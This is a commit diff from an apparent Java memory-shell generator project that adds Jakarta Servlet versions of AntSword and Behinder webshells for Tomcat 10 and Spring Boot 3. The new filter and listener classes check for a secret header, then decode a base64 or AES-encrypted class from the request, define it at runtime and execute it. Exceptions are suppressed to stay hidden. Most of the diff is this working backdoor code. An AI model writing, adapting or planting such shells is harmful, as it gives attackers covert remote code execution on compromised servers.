Skip to content

Commit 35367e7

Browse files
committed
add: 添加对 Jakarta Servlet 的支持(SpringBoot 3.x/Tomcat 10.x)
1 parent 4d43d24 commit 35367e7

File tree

30 files changed

+2062
-20
lines changed

30 files changed

+2062
-20
lines changed

jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,11 @@ public byte[] modifyShell(String className, AbstractConfig config) {
4444
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
4545
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
4646
}
47+
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
48+
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
49+
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
50+
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
51+
}
4752
JavassistUtil.removeSourceFileAttribute(ctClass);
4853
bytes = ctClass.toBytecode();
4954
ctClass.detach();
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
package jmg.antsword.memshell;
2+
3+
import jakarta.servlet.*;
4+
import jakarta.servlet.http.HttpServletRequest;
5+
import jakarta.servlet.http.HttpServletResponse;
6+
import java.io.IOException;
7+
import java.lang.reflect.Method;
8+
import java.net.URL;
9+
import java.net.URLClassLoader;
10+
11+
public class AntSwordJakartaFilter implements Filter {
12+
public String pass;
13+
public String headerName;
14+
public String headerValue;
15+
16+
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
17+
HttpServletRequest request = (HttpServletRequest) servletRequest;
18+
HttpServletResponse response = (HttpServletResponse) servletResponse;
19+
try {
20+
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
21+
String cls = request.getParameter(pass);
22+
if (cls != null) {
23+
try {
24+
byte[] data = doBase64Decode(cls);
25+
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
26+
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
27+
method.setAccessible(true);
28+
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
29+
clazz.newInstance().equals(new Object[]{request, response});
30+
} catch (Exception var7) {
31+
}
32+
}
33+
} else {
34+
filterChain.doFilter(servletRequest, servletResponse);
35+
}
36+
} catch (Exception e) {
37+
filterChain.doFilter(servletRequest, servletResponse);
38+
}
39+
}
40+
41+
public byte[] doBase64Decode(String str) throws Exception {
42+
try {
43+
Class clazz = Class.forName("sun.misc.BASE64Decoder");
44+
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
45+
} catch (Exception var5) {
46+
Class clazz = Class.forName("java.util.Base64");
47+
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
48+
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
49+
}
50+
}
51+
52+
public void init(FilterConfig filterConfig) throws ServletException {
53+
}
54+
55+
public void destroy() {
56+
}
57+
}
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
package jmg.antsword.memshell;
2+
3+
import jakarta.servlet.ServletRequestEvent;
4+
import jakarta.servlet.ServletRequestListener;
5+
import jakarta.servlet.http.HttpServletRequest;
6+
import jakarta.servlet.http.HttpServletResponse;
7+
import java.lang.reflect.Field;
8+
import java.lang.reflect.Method;
9+
import java.net.URL;
10+
import java.net.URLClassLoader;
11+
12+
public class AntSwordJakartaListener implements ServletRequestListener {
13+
public String pass;
14+
public String headerName;
15+
public String headerValue;
16+
17+
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
18+
}
19+
20+
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
21+
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
22+
try {
23+
HttpServletResponse response = getResponseFromRequest(request);
24+
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
25+
String cls = request.getParameter(pass);
26+
if (cls != null) {
27+
try {
28+
byte[] data = base64Decode(cls);
29+
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
30+
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
31+
method.setAccessible(true);
32+
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
33+
clazz.newInstance().equals(new Object[]{request, response});
34+
response.flushBuffer();
35+
} catch (Exception var7) {
36+
}
37+
}
38+
}
39+
40+
} catch (Exception ignored) {
41+
}
42+
}
43+
44+
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
45+
return null;
46+
}
47+
48+
private static synchronized Object getFV(Object var0, String var1) throws Exception {
49+
Field var2 = null;
50+
Class var3 = var0.getClass();
51+
52+
while (var3 != Object.class) {
53+
try {
54+
var2 = var3.getDeclaredField(var1);
55+
break;
56+
} catch (NoSuchFieldException var5) {
57+
var3 = var3.getSuperclass();
58+
}
59+
}
60+
61+
if (var2 == null) {
62+
throw new NoSuchFieldException(var1);
63+
} else {
64+
var2.setAccessible(true);
65+
return var2.get(var0);
66+
}
67+
}
68+
69+
public byte[] base64Decode(String str) throws Exception {
70+
try {
71+
Class clazz = Class.forName("sun.misc.BASE64Decoder");
72+
return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
73+
} catch (Exception var5) {
74+
Class clazz = Class.forName("java.util.Base64");
75+
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
76+
return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
77+
}
78+
}
79+
80+
}

jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
package jmg.antsword.util;
22

33
import jmg.antsword.memshell.AntSwordFilter;
4+
import jmg.antsword.memshell.AntSwordJakartaFilter;
5+
import jmg.antsword.memshell.AntSwordJakartaListener;
46
import jmg.antsword.memshell.AntSwordListener;
57
import jmg.core.config.Constants;
68

@@ -31,9 +33,13 @@ public static String getShellClassName(String shellName) throws Exception {
3133
static {
3234
SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
3335
SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
36+
SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName());
37+
SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName());
3438
Map<String, String> antSwordMap = new HashMap();
3539
antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName());
3640
antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
41+
antSwordMap.put(Constants.SHELL_JAKARTA_FILTER,AntSwordJakartaFilter.class.getSimpleName());
42+
antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName());
3743
toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
3844
}
3945

jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,11 @@ public byte[] modifyShell(String className, AbstractConfig config) {
4444
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
4545
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
4646
}
47+
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
48+
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
49+
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
50+
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
51+
}
4752
JavassistUtil.removeSourceFileAttribute(ctClass);
4853
bytes = ctClass.toBytecode();
4954
ctClass.detach();
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
package jmg.behinder.memshell;
2+
3+
import javax.crypto.Cipher;
4+
import javax.crypto.spec.SecretKeySpec;
5+
import jakarta.servlet.*;
6+
import jakarta.servlet.http.HttpServletRequest;
7+
import jakarta.servlet.http.HttpServletResponse;
8+
import jakarta.servlet.http.HttpSession;
9+
import java.io.IOException;
10+
import java.util.HashMap;
11+
import java.util.Map;
12+
13+
14+
public class BehinderJakartaFilter extends ClassLoader implements Filter {
15+
public String pass;
16+
public String headerName;
17+
public String headerValue;
18+
19+
public Class g(byte[] b) {
20+
return super.defineClass(b, 0, b.length);
21+
}
22+
23+
public BehinderJakartaFilter() {
24+
}
25+
26+
public BehinderJakartaFilter(ClassLoader c) {
27+
super(c);
28+
}
29+
30+
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
31+
HttpServletRequest request = (HttpServletRequest) servletRequest;
32+
HttpServletResponse response = (HttpServletResponse) servletResponse;
33+
34+
try {
35+
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
36+
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
37+
Map obj = new HashMap();
38+
obj.put("request", servletRequest);
39+
obj.put("response", response);
40+
obj.put("session", session);
41+
42+
// fix: SpringBoot 3.3.3 (Tomcat/10.1.28)
43+
// java.lang.NoSuchMethodError: 'void jakarta.servlet.http.HttpSession.putValue(java.lang.String, java.lang.Object)'
44+
// session.putValue("u", this.pass);
45+
session.setAttribute("u", pass);
46+
Cipher c = Cipher.getInstance("AES");
47+
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
48+
(new BehinderJakartaFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
49+
} else {
50+
filterChain.doFilter(servletRequest, servletResponse);
51+
}
52+
} catch (Exception e) {
53+
filterChain.doFilter(servletRequest, servletResponse);
54+
}
55+
}
56+
57+
public byte[] doBase64Decode(String str) throws Exception {
58+
try {
59+
Class clazz = Class.forName("sun.misc.BASE64Decoder");
60+
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
61+
} catch (Exception var5) {
62+
Class clazz = Class.forName("java.util.Base64");
63+
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
64+
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
65+
}
66+
}
67+
68+
public void init(FilterConfig filterConfig) throws ServletException {
69+
}
70+
71+
public void destroy() {
72+
}
73+
}
Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
package jmg.behinder.memshell;
2+
3+
import javax.crypto.Cipher;
4+
import javax.crypto.spec.SecretKeySpec;
5+
import jakarta.servlet.ServletRequestEvent;
6+
import jakarta.servlet.ServletRequestListener;
7+
import jakarta.servlet.http.HttpServletRequest;
8+
import jakarta.servlet.http.HttpServletResponse;
9+
import jakarta.servlet.http.HttpSession;
10+
import java.lang.reflect.Field;
11+
import java.util.HashMap;
12+
import java.util.Map;
13+
14+
public class BehinderJakartaListener extends ClassLoader implements ServletRequestListener {
15+
public String pass;
16+
17+
public String headerName;
18+
19+
public String headerValue;
20+
21+
22+
public BehinderJakartaListener() {
23+
}
24+
25+
public BehinderJakartaListener(ClassLoader c) {
26+
super(c);
27+
}
28+
29+
30+
public Class g(byte[] b) {
31+
return super.defineClass(b, 0, b.length);
32+
}
33+
34+
35+
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
36+
}
37+
38+
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
39+
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
40+
try {
41+
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
42+
HttpServletResponse response = this.getResponseFromRequest(request);
43+
HttpSession session = request.getSession();
44+
Map obj = new HashMap();
45+
obj.put("request", request);
46+
obj.put("response", response);
47+
obj.put("session", session);
48+
try {
49+
// session.putValue("u", pass);
50+
session.setAttribute("u", pass);
51+
Cipher c = Cipher.getInstance("AES");
52+
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
53+
(new BehinderJakartaListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
54+
} catch (Exception var7) {
55+
}
56+
}
57+
} catch (Exception e) {
58+
59+
}
60+
61+
}
62+
63+
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
64+
return null;
65+
}
66+
67+
private static synchronized Object getFV(Object var0, String var1) throws Exception {
68+
Field var2 = null;
69+
Class var3 = var0.getClass();
70+
71+
while (var3 != Object.class) {
72+
try {
73+
var2 = var3.getDeclaredField(var1);
74+
break;
75+
} catch (NoSuchFieldException var5) {
76+
var3 = var3.getSuperclass();
77+
}
78+
}
79+
80+
if (var2 == null) {
81+
throw new NoSuchFieldException(var1);
82+
} else {
83+
var2.setAccessible(true);
84+
return var2.get(var0);
85+
}
86+
}
87+
88+
public byte[] base64Decode(String str) throws Exception {
89+
try {
90+
Class clazz = Class.forName("sun.misc.BASE64Decoder");
91+
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
92+
} catch (Exception var5) {
93+
Class clazz = Class.forName("java.util.Base64");
94+
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
95+
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
96+
}
97+
}
98+
}

jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,6 @@
11
package jmg.behinder.util;
22

3-
import jmg.behinder.memshell.BehinderFilter;
4-
import jmg.behinder.memshell.BehinderInterceptor;
5-
import jmg.behinder.memshell.BehinderListener;
3+
import jmg.behinder.memshell.*;
64
import jmg.core.config.Constants;
75

86
import java.util.HashMap;
@@ -33,11 +31,15 @@ public static String getShellClassName(String shellName) throws Exception {
3331
SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
3432
SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
3533
SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
34+
SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName());
35+
SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName());
3636

3737
Map<String, String> behinderMap = new HashMap();
3838
behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
3939
behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
4040
behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
41+
behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName());
42+
behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName());
4143
toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
4244

4345
}

jmg-core/pom.xml

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,10 @@
2121
<artifactId>spring-webflux</artifactId>
2222
<version>5.3.29</version>
2323
</dependency>
24-
24+
<dependency>
25+
<groupId>jakarta.servlet</groupId>
26+
<artifactId>jakarta.servlet-api</artifactId>
27+
<version>5.0.0</version>
28+
</dependency>
2529
</dependencies>
2630
</project>

0 commit comments

Comments
 (0)